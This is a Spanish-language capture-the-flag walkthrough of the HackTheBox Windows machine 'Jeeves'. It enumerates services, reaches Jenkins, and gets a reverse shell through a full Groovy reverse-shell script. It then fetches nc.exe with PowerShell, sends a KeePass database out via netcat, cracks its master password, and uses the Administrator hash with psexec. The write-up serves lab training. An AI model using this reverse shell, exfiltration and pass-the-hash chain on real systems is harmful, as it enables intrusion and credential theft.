Jeeves - HackTheBox
Máquina Windows nivel Medium de la plataforma HackTheBox que forma parte del path CPTS.

Enumeración y Reconocimiento de Puertos y Servicios
Comenzamos enumerando los puertos y servicios que se ejecutan en la máquina víctima a través de la herramienta nmap.
nmap -p- -Pn -n --min-rate 5000 10.129.228.112
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-09 12:16 -0700
Nmap scan report for 10.129.228.112
Host is up (0.034s latency).
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2
Para obtener más información sobre los servicios que se ejecutan en cada puerto lanzamos otro comando de nmap que nos proporcionará la información que buscamos.
nmap -p80,135,445,50000 -sCV 10.129.228.112
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-09 12:19 -0700
Nmap scan report for 10.129.228.112
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-03-09T17:19:39
|_ start_date: 2026-03-09T16:58:44
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: -2h00m01s, deviation: 0s, median: -2h00m01s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Podemos ver que en el puerto 80 se está ejecutando un servidor web Microsoft-IIS/10.0, podríamos tratar de enumerar a través de rpc sin credenciales (de momento), podríamos enumerar recursos compartidos como invitado (guest/sin credenciales) y vemos que también existe un servidor Jetty 9.4.z en el puerto 5000.
Enumeración Ask Jeeves - Puerto 80
Al acceder al puerto 80 encontramos un sitio web denominado Ask Jeeves que a simple vista parece un buscador web.
Introducimos cualquier término que queramos buscar y nos saltará el siguiente error.
Estamos ante un error relacionado con la base de datos del sitio web... Tras enumerar durante un rato no encontré nada de interés ni ningún punto de apoyo.
Enumeración RPC
Si intentamos conectarnos para enumerar vía rpc con rpcclient obtendremos el siguiente error:
# Cuenta de invitado deshabilitada
rpcclient -U "guest" 10.129.228.112
Password for [WORKGROUP\guest]:
Cannot connect to server. Error was NT_STATUS_ACCOUNT_DISABLED
Enumeración SMB
Continuamos tratando de enumerar el protocolo smb (puerto 445) en busca de recursos compartidos accesibles sin credenciales.
# Enumeración de recursos con autenticación nula (NULL -N)
smbclient -N -L 10.129.228.112
session setup failed: NT_STATUS_ACCESS_DENIED
Seguimos sin obtener nada de interés, por lo que vamos a enumerar el puerto 50000 donde se ejecuta Jetty 9.4.z
Enumeración y Explotación Jetty - Puerto 50000
Buscando un poquito en internet averiguamos qué es y para qué sirve Jetty.
Jetty es un software que implementa el protocolo HTTP y la especificación de servlets de Java, permitiendo que una aplicación Java pueda recibir, procesar y responder a peticiones web.
Actúa como intermediario entre:
Clientes (navegador, app móvil, API client)
Aplicación Java (servlets, APIs, backend)
Si nos conectamos desde el navegador al puerto 50000 nos aparece el siguiente mensaje.
Fuzzeamos en busca de rutas existentes en el servidor Jetty y encontramos la ruta "askjeeves"
Y tras acceder a la ruta nos lleva a un servidor Jenkins.
Tras ver Jenkins ya me hago a la idea de lo que me voy a encontrar y de posibles métodos para ganar acceso.
Si, Groovy Scripting en la Consola de Scripts.
Es importante recordar que estamos en una máquina Windows, por lo que debemos cambiar el valor
String cmd='cmd.exe';en la reverse shell.
String host="<ip-tun0>";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Obtenemos la reverse shell como el usuario kohsuke, por lo que ya podríamos leer la flag de usuario.
Enumeramos los usuarios del sistema con net user.
C:\Users\kohsuke\Desktop>net user
net user
User accounts for \\JEEVES
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
kohsuke
The command completed successfully.
Parece que el siguiente paso es escalar privilegios directamente al usuario Administrador.
Buscando un poco encontramos un archivo .kdbx en la ruta C:\Users\kohsuke\Documents\CEH.kdbx, que es un archivo de Keepass donde se almacenan credenciales.
Para poder pasarme el archivo haré uso de netcat, por lo que debemos pasarlo a la máquina Windows.
# En máquina atacante
python3 -m http.server 1234
# En máquina víctima
C:\Temp>powershell -c Invoke-WebRequest -Uri "http://10.10.14.115:1234/nc.exe" -OutFile nc.exe
C:\Temp>dir
dir
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Temp
03/09/2026 02:31 PM <DIR> .
03/09/2026 02:31 PM <DIR> ..
03/09/2026 02:31 PM 59,392 nc.exe
2 File(s) 10,313,728 bytes
2 Dir(s) 2,651,828,224 bytes free
Y una vez que tenemos netcat ejecutamos lo siguiente para enviar el archivo CEH.kdbx a nuestra máquina atacante.
nc -lnvp 5555 > CEH.kdbx
C:\Temp>powershell -c .\nc.exe 10.10.14.115 5555 < C:\Users\kohsuke\Documents\CEH.kdbx
Una vez que lo tengamos debemos obtener el hash de la contraseña maestra que desbloquea el archivo con keepass para poder acceder a las credenciales almacenadas en el mismo.
Para esto utilizaremos la utilidad keepass2john.
Keepass .kdbx
keepass2john CEH.kdbx > kbdx.hash
Y lo craquearemos con john también.
john --wordlist=/usr/share/wordlists/rockyou.txt kbdx.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<password-cracked> (CEH)
1g 0:00:00:33 DONE (2026-03-09 13:54) 0.02972g/s 1634p/s 1634c/s 1634C/s nando1..molly21
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tras obtener la contraseña accedemos con kpcli para listar las credenciales almacenadas.
Obtenemos lo que parece un hash NTLM.
Escalada de Privilegios
Utilizamos este hash para intentar conectarnos a la máquina con psexec.py suponiendo que este hash corresponde al del usuario Administrador.
impacket-psexec administrator@<ip> -hashes <HASH NTLM>
Nos dirigimos a la ruta C:\Users\Administrator\Desktop y encontramos un archivo llamado hm.txt que dice lo siguiente.
Listamos el directorio de nuevo utilizando dir /r que hace que también muestre streams ocultos asociados a los archivos y leemos la flag utilizando more.





